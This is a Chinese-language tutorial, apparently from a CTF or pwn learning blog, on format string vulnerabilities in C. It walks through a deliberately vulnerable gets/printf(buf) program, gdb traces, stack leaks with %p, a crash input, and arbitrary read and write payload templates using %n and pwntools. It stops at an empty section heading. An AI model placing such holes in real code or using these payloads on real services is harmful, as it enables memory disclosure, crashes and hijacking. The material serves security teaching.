格式化字符串初识

常见的格式化字符串函数有 printf、sprintf、fprintf、vprintf、vfprintf 等。
让我们写个简单的程序来观察观察:
1
2
3
4
5
6
| #include <stdio.h>
int main() {
printf("Coloor %s, Number %d, Float %f\n", "Red", 123456, 3.14);
return 0;
}
|
使用 gdb 动态调试
1
2
3
| ► 0x555555555164 <main+43> call printf@plt <printf@plt>
format: 0x555555556010 ◂— 'Coloor %s, Number %d, Float %f\n'
vararg: 0x555555556008 ◂— 0x646552 /* 'Red' */
|
当我们运行到 call printf@plt 时,可以看到 format 和 vararg 的值。
在 64 位程序中,前 6 个参数会通过寄存器传递,超过 6 个参数会通过栈传递。
1
2
3
4
5
6
7
8
| #include <stdio.h>
int main() {
char buf[0x100];
gets(buf);
printf(buf);
return 0;
}
|
1
2
3
| ~/C/cpp ❯❯❯ ./print_leak
AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
AAAAAAAA-0x565460f2b2a1-0x7f163f5967c0-0x7f163f5967c0-0x565460f2b2dc-0xfbad2288-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x70252d-0x40-0x800000-0xffffffffffffffff-0x140000%
|
可以看到,AAAAAAAA-%p-%p … 即是我们输入的格式化字符串函数部分
0x4141414141414141 是这里的第六个参数,即栈上的内容
我们可以利用这种方法,来泄露调用 printf 时前六个寄存器的内容和栈上的内容
在 32 位程序中,参数通过栈传递,所以可以泄露栈上的内容
1
2
3
| ~/C/cpp ❯❯❯ ./print_leak
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
AAAA-0xf7f45380-0xf63d4e2e-0x565a41a7-0xf63d4e2e-0xf7f58d5c-0x1-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70%
|
可以看到这里 AAAA 是第七个参数
1
2
3
4
5
6
7
8
9
10
11
12
13
| ► 0x565561d4 <main+71> call printf@plt <printf@plt>
format: 0xffffd06c ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
vararg: 0xf7fbd380 —▸ 0xf7d3d000 ◂— 0x464c457f
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ esp 0xffffd050 —▸ 0xffffd06c ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
01:0004│-124 0xffffd054 —▸ 0xf7fbd380 —▸ 0xf7d3d000 ◂— 0x464c457f
02:0008│-120 0xffffd058 ◂— 0xf63d4e2e
03:000c│-11c 0xffffd05c —▸ 0x565561a7 (main+26) ◂— add ebx, 0x2e4d
04:0010│-118 0xffffd060 ◂— 0xf63d4e2e
05:0014│-114 0xffffd064 —▸ 0xf7fd0d5c ◂— add esp, 0x20
06:0018│-110 0xffffd068 ◂— 1
07:001c│ eax 0xffffd06c ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
|
esp 指向了格式化字符串的地址被为第一个参数 format, 后面的参数就是格式化字符串函数的变量,即这里栈上的值
可以看到这里的 AAAA 的却是第七个参数
格式化字符串字符串参数格式:
wikipage
1
| %[parameter][flags][field width][.precision][length]type
|
这里只介绍部分
| 字段 | 字符 | 描述 |
|---|
| parameter | n$ | 参数序号,表示使用第 n 个参数 |
| field width | n | 最小字段宽度 |
| precision | .n | 小数点后 n 位 |
| length | hh | 长度为 1 个字节 |
| length | h | 长度为 2 字节 |
| type | d/i | 有符号整数 |
| type | x/X | 16 进制整数,x 使用小写字母;X 使用大写字母 |
| type | o | 8 进制整数 |
| type | s | 字符串 |
| type | c | 字符 |
| type | p | void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址 |
| type | n | 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量 |
漏洞利用
格式化字符串漏洞利用的前提是我们能够控制格式化字符函数
示例:
1
2
3
4
5
6
7
8
| #include <stdio.h>
int main() {
char buf[0x100];
gets(buf);
printf(buf);
return 0;
}
|
程序崩溃
1
| %s%s%s%s%s%s%s%s%s%s%s%s%s%s
|
这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。
泄露内存
泄露栈上地址
1
2
3
| ~/C/cpp ❯❯❯ ./print_leak
AAAAAAAA-%6$p
AAAAAAAA-0x4141414141414141%
|
泄露栈上第六个参数的值
我们可以通过这种方式来泄露栈上的任意值,从而泄露 libc 基址
任意地址读
将 addr 送入栈中, 然后使用 %n$s 指定栈上地址 addr,将 addr 的内容读出来
改写任意地址
1
| \[overwrite addr\] + %\[overwrite vaule - len(addr)\]c + %\[overwrite offset\]${hhn/hn/n}
|
- 传入 overwrite addr 的地址
- 通过调试确定 overwrite addr 的 offset
- 确定 overwrite value 的值
payload 结构:
1
2
| fmt_str = p32(addr)
fmt_str += f"%{vaule - len(addr)}c%{offset}$hhn".encode('latin-1')
|
这种 payload 结构需要计算 p32(addr) 的长度, 下面给出另一种:
1
2
| fmt_str = f"%{value}c%{offset}$hhn".encode('latin-1')
fmt_str += p32(addr)
|
pwntools 提供了针对格式化字符串漏洞攻击的函数
pwnlib.fmtstr.fmtstrpayload(_offset, writes, numbwritten=0, write_size=‘byte’) -> str(bytes)
使用给定参数生成负载。它可以为32位或64位架构生成负载。addr的大小取自context.bits
溢出参数是格式字符串长度与输出量之间的权衡:overflows的值越大,生成的格式字符串越短,运行时生成的输出量就越多。
参数
- offset (int) –您控制的第一个格式化器的偏移量
- writes (dict) –包含addr、value的字典
{addr:value,addr2:value2} - numbwritten(int)-printf函数已写入的字节数
- write_size (str)–必须是
byte、short或int。告诉您是否要逐字节、逐短型或逐整数(hhn、hn或n)进行写入 - overflow(int)”–耐受多少额外的溢出(在大小sz时)以减少格式字符串的长度
- strategy(str)–快速或小(默认为“小”,如果写入量很大,可以使用“快速”)
- no_dollars (bool)”–生成带有或不带$符号的负载的标志
非栈上的格式化字符串漏洞
示例